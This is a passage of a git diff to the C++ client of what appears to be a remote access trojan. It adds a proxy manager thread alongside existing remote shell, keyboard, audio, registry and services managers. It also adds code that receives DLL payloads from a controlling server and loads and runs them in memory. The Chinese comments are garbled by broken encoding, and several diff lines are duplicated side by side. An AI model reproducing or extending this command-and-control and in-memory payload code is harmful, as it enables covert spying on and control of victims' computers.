return result == ERROR_SUCCESS;
}
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
HKEY hKey;
LONG result = RegOpenKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
KEY_READ,
&hKey
);
if (result != ERROR_SUCCESS) {
return false;
}
char buffer[256];
DWORD bufferSize = sizeof(buffer);
DWORD type = 0;
result = RegQueryValueExA(
hKey,
keyName.c_str(),
nullptr,
&type,
reinterpret_cast<LPBYTE>(buffer),
&bufferSize
);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS && type == REG_SZ) {
outValue = buffer;
return true;
}
return false;
}
DWORD WINAPI ThreadProc(LPVOID lParam) DWORD WINAPI ThreadProc(LPVOID lParam)
{ {
THREAD_ARG_LIST ThreadArgList = {0}; THREAD_ARG_LIST ThreadArgList = {0};
@@ -27,7 +103,7 @@ DWORD WINAPI ThreadProc(LPVOID lParam)
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam) template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{ {
ThreadInfo *pInfo = (ThreadInfo *)lParam; ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p; IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{ {
@@ -94,3 +170,7 @@ DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{ {
return LoopManager<CKeyboardManager1, 0>(lParam); return LoopManager<CKeyboardManager1, 0>(lParam);
} }
DWORD WINAPI LoopProxyManager(LPVOID lParam) {
return LoopManager<CProxyManager, 0>(lParam);
}

View File

@@ -18,6 +18,11 @@ typedef struct UserParam
~UserParam() { SAFE_DELETE_ARRAY(buffer); } ~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam; }UserParam;
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool WriteAppSettingA(const std::string& keyName, const std::string& value);
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
DWORD WINAPI ThreadProc(LPVOID lParam); DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam); DWORD WINAPI LoopShellManager(LPVOID lParam);
@@ -31,3 +36,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);

View File

@@ -9,9 +9,16 @@
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
enum {
USING_GDI = 0,
USING_DXGI = 1,
USING_VIRTUAL = 2,
};
#define ALGORITHM_GRAY 0 #define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1 #define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2 #define ALGORITHM_H264 2
#define ALGORITHM_HOME 3
#define MAX_CURSOR_TYPE 16 #define MAX_CURSOR_TYPE 16

View File

@@ -58,31 +58,31 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1> // <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
int enable = 1; int enable = 1;
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) { if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
std::cerr << "Failed to enable TCP keep-alive" << std::endl; Mprintf("Failed to enable TCP keep-alive\n");
return FALSE; return FALSE;
} }
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>) // <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl; Mprintf("Failed to set TCP_KEEPIDLE\n");
return FALSE; return FALSE;
} }
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>) // <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
int keepAliveInterval = 5; // 5<><35> int keepAliveInterval = 5; // 5<><35>
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl; Mprintf("Failed to set TCP_KEEPINTVL\n");
return FALSE; return FALSE;
} }
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>) // <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
int keepAliveProbes = 5; int keepAliveProbes = 5;
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl; Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE; return FALSE;
} }
std::cout << "TCP keep-alive settings applied successfully" << std::endl; Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE; return TRUE;
} }
#endif #endif
@@ -172,7 +172,7 @@ inline std::string GetIPAddress(const char *hostName)
int status = getaddrinfo(hostName, nullptr, &hints, &res); int status = getaddrinfo(hostName, nullptr, &hints, &res);
if (status != 0) { if (status != 0) {
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl; Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
return ""; return "";
} }
@@ -180,7 +180,7 @@ inline std::string GetIPAddress(const char *hostName)
char ip[INET_ADDRSTRLEN]; char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip)); inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
std::cout << "IP Address: " << ip << std::endl; Mprintf("IP Address: %s \n", ip);
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
return ip; return ip;
@@ -225,20 +225,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA> // <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6) // ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) { if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
std::cerr << "Invalid address or address not supported" << std::endl; Mprintf("Invalid address or address not supported\n");
return false; return false;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0); m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (m_sClientSocket == -1) { if (m_sClientSocket == -1) {
std::cerr << "Failed to create socket" << std::endl; Mprintf("Failed to create socket\n");
return false; return false;
} }
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) { if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
std::cerr << "Connection failed" << std::endl; Mprintf("Connection failed\n");
close(m_sClientSocket); close(m_sClientSocket);
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
return false; return false;
@@ -265,8 +265,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
} }
if (m_hWorkThread == NULL){ if (m_hWorkThread == NULL){
#ifdef _WIN32 #ifdef _WIN32
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
#else #else
pthread_t id = 0; pthread_t id = 0;
@@ -284,6 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
char* szBuffer = new char[MAX_RECV_BUFFER]; char* szBuffer = new char[MAX_RECV_BUFFER];
fd_set fd; fd_set fd;
struct timeval tm = { 2, 0 }; struct timeval tm = { 2, 0 };
This->m_CompressedBuffer.ClearBuffer();
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD> while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
{ {
@@ -306,27 +306,30 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
{ {
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError()); Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->m_CompressedBuffer.ClearBuffer();
if(This->m_exit_while_disconnect) if(This->m_exit_while_disconnect)
break; break;
} }
} }
else if (iRet > 0) else if (iRet > 0)
{ {
memset(szBuffer, 0, MAX_RECV_BUFFER); int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
int iReceivedLength = recv(This->m_sClientSocket,
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (iReceivedLength <= 0) if (iReceivedLength <= 0)
{ {
int a = WSAGetLastError(); int a = WSAGetLastError();
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->m_CompressedBuffer.ClearBuffer();
if(This->m_exit_while_disconnect) if(This->m_exit_while_disconnect)
break; break;
}else{ }else{
szBuffer[iReceivedLength] = 0;
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead //<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving(szBuffer, iReceivedLength); This->OnServerReceiving(szBuffer, iReceivedLength);
} }
} }
} }
CloseHandle(This->m_hWorkThread);
This->m_hWorkThread = NULL;
This->m_bWorkThread = S_STOP; This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE; This->m_bIsRunning = FALSE;
delete[] szBuffer; delete[] szBuffer;
@@ -352,62 +355,51 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
{ {
throw "Bad Buffer"; Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
m_CompressedBuffer.ClearBuffer();
break;
} }
ULONG ulPackTotalLength = 0; ULONG ulPackTotalLength = 0;
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD> //--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
ULONG len = m_CompressedBuffer.GetBufferLength(); ULONG len = m_CompressedBuffer.GetBufferLength();
if (ulPackTotalLength && len >= ulPackTotalLength) if (ulPackTotalLength && len >= ulPackTotalLength)
{ {
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ULONG ulOriginalLength = 0; ULONG ulOriginalLength = 0;
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
//50
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; const int bufSize = 512;
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; BYTE buf1[bufSize], buf2[bufSize];
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
size_t iRet = uncompress(DeCompressedBuffer, size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD> if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{ {
CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
ulOriginalLength);
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬ //<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB> //<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (m_DataProcess) if (m_DataProcess)
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0), m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
m_DeCompressedBuffer.GetBufferLength());
} }
else{ else{
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer; m_CompressedBuffer.ClearBuffer();
delete [] DeCompressedBuffer;
throw "Bad Buffer";
} }
delete [] CompressedBuffer; if (CompressedBuffer != buf1)delete [] CompressedBuffer;
delete [] DeCompressedBuffer; if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
#if _DEBUG
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
#endif
} }
else { else {
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength); break; // received data is incomplete
break;
} }
} }
}catch(...) { }catch(...) {
@@ -436,13 +428,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
#else #else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength); unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif #endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (Z_FAILED(iRet)) if (Z_FAILED(iRet))
{ {
Mprintf("[ERROR] compress failed \n"); Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
return FALSE; return FALSE;
} }
#if !USING_ZLIB #if !USING_ZLIB
@@ -454,20 +447,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH); m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4
//[Shine][ 30 ]
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
// 5 4 4
//[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
CompressedBuffer = NULL;
// <20>ֿ鷢<D6BF><E9B7A2> // <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12] return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
MAX_SEND_BUFFER);
} }
} }
@@ -526,6 +514,9 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
VOID IOCPClient::Disconnect() VOID IOCPClient::Disconnect()
{ {
if (m_sClientSocket == INVALID_SOCKET)
return;
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"); Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
CancelIo((HANDLE)m_sClientSocket); CancelIo((HANDLE)m_sClientSocket);
@@ -538,8 +529,8 @@ VOID IOCPClient::Disconnect()
VOID IOCPClient::RunEventLoop(const BOOL &bCondition) VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
{ {
OutputDebugStringA("======> RunEventLoop begin\n"); Mprintf("======> RunEventLoop begin\n");
while (m_bIsRunning && bCondition) while (m_bIsRunning && bCondition)
Sleep(200); Sleep(200);
OutputDebugStringA("======> RunEventLoop end\n"); Mprintf("======> RunEventLoop end\n");
} }

View File

@@ -9,6 +9,8 @@
#include <fstream> #include <fstream>
#include <corecrt_io.h> #include <corecrt_io.h>
#include "ClientDll.h" #include "ClientDll.h"
#include "MemoryModule.h"
#include "common/dllRunner.h"
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
@@ -60,20 +62,16 @@ UINT CKernelManager::GetAvailableIndex() {
return -1; return -1;
} }
BOOL WriteBinaryToFile(const char* data, ULONGLONG size) BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new")
{ {
if (size > 32 * 1024 * 1024) {
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
return FALSE;
}
char path[_MAX_PATH], * p = path; char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
while ('\\' != *p) --p; while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.new"); strcpy(p + 1, name);
if (_access(path, 0)!=-1) if (_access(path, 0) != -1)
{ {
if (std::string("ServerDll.new")!=name) return TRUE;
DeleteFileA(path); DeleteFileA(path);
} }
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
@@ -110,22 +108,114 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
return TRUE; return TRUE;
} }
typedef struct DllExecParam
{
DllExecuteInfo info;
PluginParam param;
BYTE* buffer;
DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data) : info(dll), param(arg) {
buffer = new BYTE[info.Size];
memcpy(buffer, data, info.Size);
}
~DllExecParam() {
SAFE_DELETE_ARRAY(buffer);
}
}DllExecParam;
class MemoryDllRunner : public DllRunner {
protected:
HMEMORYMODULE m_mod;
public:
MemoryDllRunner() : m_mod(nullptr) {}
virtual void* LoadLibraryA(const char* data, int size) {
return (m_mod = ::MemoryLoadLibrary(data, size));
}
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
::MemoryFreeLibrary((HMEMORYMODULE)mod);
return TRUE;
}
};
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
DllExecParam* dll = (DllExecParam*)param;
DllExecuteInfo info = dll->info;
PluginParam pThread = dll->param;
#ifdef _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name);
#else
DllRunner* runner = new MemoryDllRunner();
#endif
HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size);
if (module) {
switch (info.CallType)
{
case CALLTYPE_DEFAULT:
while (S_CLIENT_EXIT != *pThread.Exit)
Sleep(1000);
break;
case CALLTYPE_IOCPTHREAD: {
PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run");
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
if (proc) {
proc(&pThread);
}else {
while (S_CLIENT_EXIT != *pThread.Exit)
Sleep(1000);
}
break;
}
default:
break;
}
runner->FreeLibrary(module);
}
else {
Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name);
}
SAFE_DELETE(dll);
SAFE_DELETE(runner);
return 0x20250529;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
if ((m_ulThreadCount = GetAvailableIndex()) == -1) { if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
if (!isExit) { return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
return;
}
} }
